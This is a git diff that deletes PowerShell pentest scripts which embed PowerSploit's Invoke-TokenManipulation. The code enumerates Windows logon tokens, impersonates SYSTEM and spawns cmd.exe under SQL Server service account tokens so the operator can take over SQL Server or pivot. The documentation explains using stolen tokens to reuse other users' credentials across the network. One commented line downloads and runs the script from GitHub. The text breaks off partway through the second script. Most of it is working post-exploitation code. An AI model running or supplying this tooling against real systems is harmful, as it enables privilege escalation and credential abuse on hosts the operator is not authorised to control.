$ProcessArgsPtr = [IntPtr]::Zero - if (-not [String]::IsNullOrEmpty($ProcessArgs)) - { - $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs") - } - - $FunctionName = "" - if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) - { - #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because - #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege - #which is not ideal. - Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token." - Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege - $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) - $FunctionName = "CreateProcessAsUserW" - } - else - { - Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token." - $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) - $FunctionName = "CreateProcessWithTokenW" - } - if ($Success) - { - #Free the handles returned in the ProcessInfo structure - $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) - $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null - $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null - - #Pass created System.Diagnostics.Process object to pipeline - if ($PassThru) { - #Retrieving created System.Diagnostics.Process object - $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId - - #Caching process handle so we don't lose it when the process exits - $null = $returnProcess.Handle - - #Passing System.Diagnostics.Process object to pipeline - $returnProcess - } - } - else - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "$FunctionName failed. Error code: $ErrorCode" - } - - #Free StartupInfo memory and ProcessInfo memory - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) - $StartupInfoPtr = [Intptr]::Zero - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) - $ProcessInfoPtr = [IntPtr]::Zero - [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) - $ProcessNamePtr = [IntPtr]::Zero - - #Close handle for the token duplicated with DuplicateTokenEx - $Success = $CloseHandle.Invoke($NewHToken) - $NewHToken = [IntPtr]::Zero - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" - } - } - } - - - function Free-AllTokens - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [PSObject[]] - $TokenInfoObjs - ) - - foreach ($Obj in $TokenInfoObjs) - { - $Success = $CloseHandle.Invoke($Obj.hToken) - if (-not $Success) - { - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode" - } - $Obj.hToken = [IntPtr]::Zero - } - } - - - #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. - function Enum-AllTokens - { - $AllTokens = @() - - #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. - #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token. - $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id - if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) - { - Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" - } - - if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero) - { - $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null - $systemTokenInfo = $null - } - - $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} - - #Get all tokens - foreach ($Process in $ProcessIds) - { - $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) - - #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. - if ($PrimaryTokenInfo -ne $null) - { - [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken - - if ($hToken -ne [IntPtr]::Zero) - { - #Get the LUID corrosponding to the logon - $ReturnObj = Get-TokenInformation -hToken $hToken - if ($ReturnObj -ne $null) - { - $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id - - $AllTokens += $ReturnObj - } - } - else - { - Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)" - } - - foreach ($Thread in $Process.Threads) - { - $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id - [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) - - if ($hToken -ne [IntPtr]::Zero) - { - $ReturnObj = Get-TokenInformation -hToken $hToken - if ($ReturnObj -ne $null) - { - $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id - - $AllTokens += $ReturnObj - } - } - } - } - } - - return $AllTokens - } - - - function Invoke-RevertToSelf - { - Param( - [Parameter(Position=0)] - [Switch] - $ShowOutput - ) - - $Success = $RevertToSelf.Invoke() - - if ($ShowOutput) - { - if ($Success) - { - Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" - } - else - { - Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" - } - } - } - - - #Main function - function Main - { - if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) - { - Write-Error "Script must be run as administrator" -ErrorAction Stop - } - - #If running in session 0, force NoUI - if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) - { - Write-Verbose "Running in Session 0, forcing NoUI (processes in Session 0 cannot have a UI)" - $NoUI = $true - } - - if ($PsCmdlet.ParameterSetName -ieq "RevToSelf") - { - Invoke-RevertToSelf -ShowOutput - } - elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") - { - $AllTokens = Enum-AllTokens - - #Select the token to use - [IntPtr]$hToken = [IntPtr]::Zero - $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser - if ($Username -ne $null -and $Username -ne '') - { - if ($UniqueTokens.ContainsKey($Username)) - { - $hToken = $UniqueTokens[$Username].hToken - Write-Verbose "Selecting token by username" - } - else - { - Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop - } - } - elseif ( $ProcessId -ne $null -and $ProcessId -ne 0) - { - foreach ($Token in $AllTokens) - { - if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId) - { - $hToken = $Token.hToken - Write-Verbose "Selecting token by ProcessID" - } - } - - if ($hToken -eq [IntPtr]::Zero) - { - Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop - } - } - elseif ($ThreadId -ne $null -and $ThreadId -ne 0) - { - foreach ($Token in $AllTokens) - { - if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId) - { - $hToken = $Token.hToken - Write-Verbose "Selecting token by ThreadId" - } - } - - if ($hToken -eq [IntPtr]::Zero) - { - Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop - } - } - elseif ($Process -ne $null) - { - foreach ($Token in $AllTokens) - { - if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id) - { - $hToken = $Token.hToken - Write-Verbose "Selecting token by Process object" - } - } - - if ($hToken -eq [IntPtr]::Zero) - { - Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop - } - } - else - { - Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop - } - - #Use the token for the selected action - if ($PsCmdlet.ParameterSetName -ieq "CreateProcess") - { - if (-not $NoUI) - { - Set-DesktopACLs - } - - Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru - - Invoke-RevertToSelf - } - elseif ($ImpersonateUser) - { - Invoke-ImpersonateUser -hToken $hToken | Out-Null - Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" - } - - Free-AllTokens -TokenInfoObjs $AllTokens - } - elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") - { - Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" - } - else #Enumerate tokens - { - $AllTokens = Enum-AllTokens - - if ($PsCmdlet.ParameterSetName -ieq "ShowAll") - { - Write-Output $AllTokens - } - else - { - Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values - } - - Invoke-RevertToSelf - - Free-AllTokens -TokenInfoObjs $AllTokens - } - } - - - #Start the main function - Main -} - - -Write-Host "Getting list of SQL Server services..." -$SqlServices = Get-WmiObject -Class win32_service | where {$_.pathname -like "*Microsoft SQL Server*"} | select displayname,pathname,StartName -$RunningProc = Get-WmiObject -Class win32_process | select processid,ExecutablePath - -Write-Host "Getting list of SQL Server processes..." -$RunningProc | -ForEach-Object { - - $p_ExecutablePath = $_.ExecutablePath - $p_processid = $_.processid - $SqlServices | - ForEach-Object { - $s_pathname = $_.pathname.Split("`"")[1] - $s_displayname = $_.displayname - $s_serviceaccount = $_.StartName - if($s_pathname -like "$p_ExecutablePath"){ - Write-Host "Creating console for service: $s_displayname - Account: $s_serviceaccount" - #Invoke-Expression (new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1'); - Invoke-TokenManipulation -CreateProcess 'cmd.exe' -ProcessId $p_processid -ErrorAction SilentlyContinue - } - } -} - -Write-Host "Done." diff --git a/scripts/pending/Invoke-SqlServerServiceImpersonation-Ssms.ps1 b/scripts/pending/Invoke-SqlServerServiceImpersonation-Ssms.ps1 deleted file mode 100644 index 159c18a..0000000 --- a/scripts/pending/Invoke-SqlServerServiceImpersonation-Ssms.ps1 +++ /dev/null @@ -1,1950 +0,0 @@ -# script: Invoke-SqlServerServiceImpersonation-Ssms.ps1 -# author: scott sutherland (@_nullbind), 2015 netspi -# Description: This script enumerates running sql server processes and -# opens a ssms.exe (sql server management studio gui) running as each of the associated service accounts. This can be -# used to gain access to the sql server if the sa password is lost or locked. -#...also its a fun demo during pentests. -# assumes that the sql service accounts are part of the sysadmin role (default configuration) -# requirements: local administrator privileges on the windows server. - tested on 2k5,2k8,2k14 -# credits: JosephBialek for invoke-mikatz.ps1 and benjamin delpy for the original mimikatz. - -function Invoke-TokenManipulation -{ -<# -.SYNOPSIS - -This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use -anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. -This functionality is very similar to the incognito tool (with some differences, and different use goals). - -This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell -creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token -that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect -to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). - -Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon -Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their -credentials for the authentication. - -IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". -This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL -is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, -so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. -This could show up in logs depending on the level of monitoring. - - -PERMISSIONS REQUIRED: -SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this. -SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0. - - -Important differences from incognito: -First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates -between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service -which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow -you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting -without dumping credentials. - -In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does -matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for -the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types -should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks -for tokens which were created with desirable logon tokens (and only displays them by default). - -In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). - - -PowerSploit Function: Invoke-TokenManipulation -Author: Joe Bialek, Twitter: @JosephBialek -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None -Version: 1.11 -(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe) - -.DESCRIPTION - -Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. - -.PARAMETER Enumerate - -Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). - -.PARAMETER RevToSelf - -Switch. Stops impersonating an alternate users Token. - -.PARAMETER ShowAll - -Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). - -.PARAMETER ImpersonateUser - -Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. - This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. - -.PARAMETER CreateProcess - -Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. - -.PARAMETER WhoAmI - -Switch. Displays the credentials the PowerShell thread is running under. - -.PARAMETER Username - -Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. - -.PARAMETER ProcessId - -Specify the Token to use by ProcessId. This will use the primary token of the process specified. - -.PARAMETER Process - -Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. - -.PARAMETER ThreadId - -Specify the Token to use by ThreadId. This will use the token of the thread specified. - -.PARAMETER ProcessArgs - -Specify the arguments to start the specified process with when using the -CreateProcess mode. - -.PARAMETER NoUI - -If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the -current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control -to "Everyone". - -.PARAMETER PassThru - -If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline. - - -.EXAMPLE - -Invoke-TokenManipulation -Enumerate - -Lists all unique usable tokens on the computer. - -.EXAMPLE - -Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" - -Spawns cmd.exe as SYSTEM. - -.EXAMPLE - -Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" - -Makes the current PowerShell thread impersonate SYSTEM. - -.EXAMPLE - -Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 - -Spawns cmd.exe using the primary token belonging to process ID 500. - -.EXAMPLE - -Invoke-TokenManipulation -ShowAll - -Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. - -.EXAMPLE - -Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 - -Spawns cmd.exe using the token belonging to thread ID 500. - -.EXAMPLE - -Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" - -Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. - -.EXAMPLE - -(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit() - -Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited. - -.EXAMPLE - -Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser - -Makes the current thread impersonate the lsass security token. - -.NOTES -This script was inspired by incognito. - -Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). -BIG THANKS to Matt Graeber for helping debug. - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ - -#> - - [CmdletBinding(DefaultParameterSetName="Enumerate")] - Param( - [Parameter(ParameterSetName = "Enumerate")] - [Switch] - $Enumerate, - - [Parameter(ParameterSetName = "RevToSelf")] - [Switch] - $RevToSelf, - - [Parameter(ParameterSetName = "ShowAll")] - [Switch] - $ShowAll, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Switch] - $ImpersonateUser, - - [Parameter(ParameterSetName = "CreateProcess")] - [String] - $CreateProcess, - - [Parameter(ParameterSetName = "WhoAmI")] - [Switch] - $WhoAmI, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Parameter(ParameterSetName = "CreateProcess")] - [String] - $Username, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Parameter(ParameterSetName = "CreateProcess")] - [Int] - $ProcessId, - - [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)] - [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)] - [System.Diagnostics.Process] - $Process, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Parameter(ParameterSetName = "CreateProcess")] - $ThreadId, - - [Parameter(ParameterSetName = "CreateProcess")] - [String] - $ProcessArgs, - - [Parameter(ParameterSetName = "CreateProcess")] - [Switch] - $NoUI, - - [Parameter(ParameterSetName = "CreateProcess")] - [Switch] - $PassThru - ) - - Set-StrictMode -Version 2 - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - ############################### - #Win32Constants - ############################### - $Constants = @{ - ACCESS_SYSTEM_SECURITY = 0x01000000 - READ_CONTROL = 0x00020000 - SYNCHRONIZE = 0x00100000 - STANDARD_RIGHTS_ALL = 0x001F0000 - TOKEN_QUERY = 8 - TOKEN_ADJUST_PRIVILEGES = 0x20 - ERROR_NO_TOKEN = 0x3f0 - SECURITY_DELEGATION = 3 - DACL_SECURITY_INFORMATION = 0x4 - ACCESS_ALLOWED_ACE_TYPE = 0x0 - STANDARD_RIGHTS_REQUIRED = 0x000F0000 - DESKTOP_GENERIC_ALL = 0x000F01FF - WRITE_DAC = 0x00040000 - OBJECT_INHERIT_ACE = 0x1 - GRANT_ACCESS = 0x1 - TRUSTEE_IS_NAME = 0x1 - TRUSTEE_IS_SID = 0x0 - TRUSTEE_IS_USER = 0x1 - TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 - TRUSTEE_IS_GROUP = 0x2 - PROCESS_QUERY_INFORMATION = 0x400 - TOKEN_ASSIGN_PRIMARY = 0x1 - TOKEN_DUPLICATE = 0x2 - TOKEN_IMPERSONATE = 0x4 - TOKEN_QUERY_SOURCE = 0x10 - STANDARD_RIGHTS_READ = 0x20000 - TokenStatistics = 10 - TOKEN_ALL_ACCESS = 0xf01ff - MAXIMUM_ALLOWED = 0x02000000 - THREAD_ALL_ACCESS = 0x1f03ff - ERROR_INVALID_PARAMETER = 0x57 - LOGON_NETCREDENTIALS_ONLY = 0x2 - SE_PRIVILEGE_ENABLED = 0x2 - SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 - SE_PRIVILEGE_REMOVED = 0x4 - } - - $Win32Constants = New-Object PSObject -Property $Constants - ############################### - - - ############################### - #Win32Structures - ############################### - #Define all the structures/enums that will be used - # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - $Domain = [AppDomain]::CurrentDomain - $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) - $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - - #ENUMs - $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32]) - $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null - $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null - $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null - $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null - $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null - $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null - $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null - $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null - $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null - $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null - $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null - $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null - $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null - $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null - $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null - $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null - $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null - $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null - $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null - $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null - $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null - $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null - $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null - $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null - $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null - $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null - $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null - $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null - $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null - $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null - $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null - $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null - $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null - $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null - $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null - $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null - $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null - $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType() - - #STRUCTs - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null - $LARGE_INTEGER = $TypeBuilder.CreateType() - - #Struct LUID - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null - $LUID = $TypeBuilder.CreateType() - - #Struct TOKEN_STATISTICS - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null - $TOKEN_STATISTICS = $TypeBuilder.CreateType() - - #Struct LSA_UNICODE_STRING - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null - $LSA_UNICODE_STRING = $TypeBuilder.CreateType() - - #Struct LSA_LAST_INTER_LOGON_INFO - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = 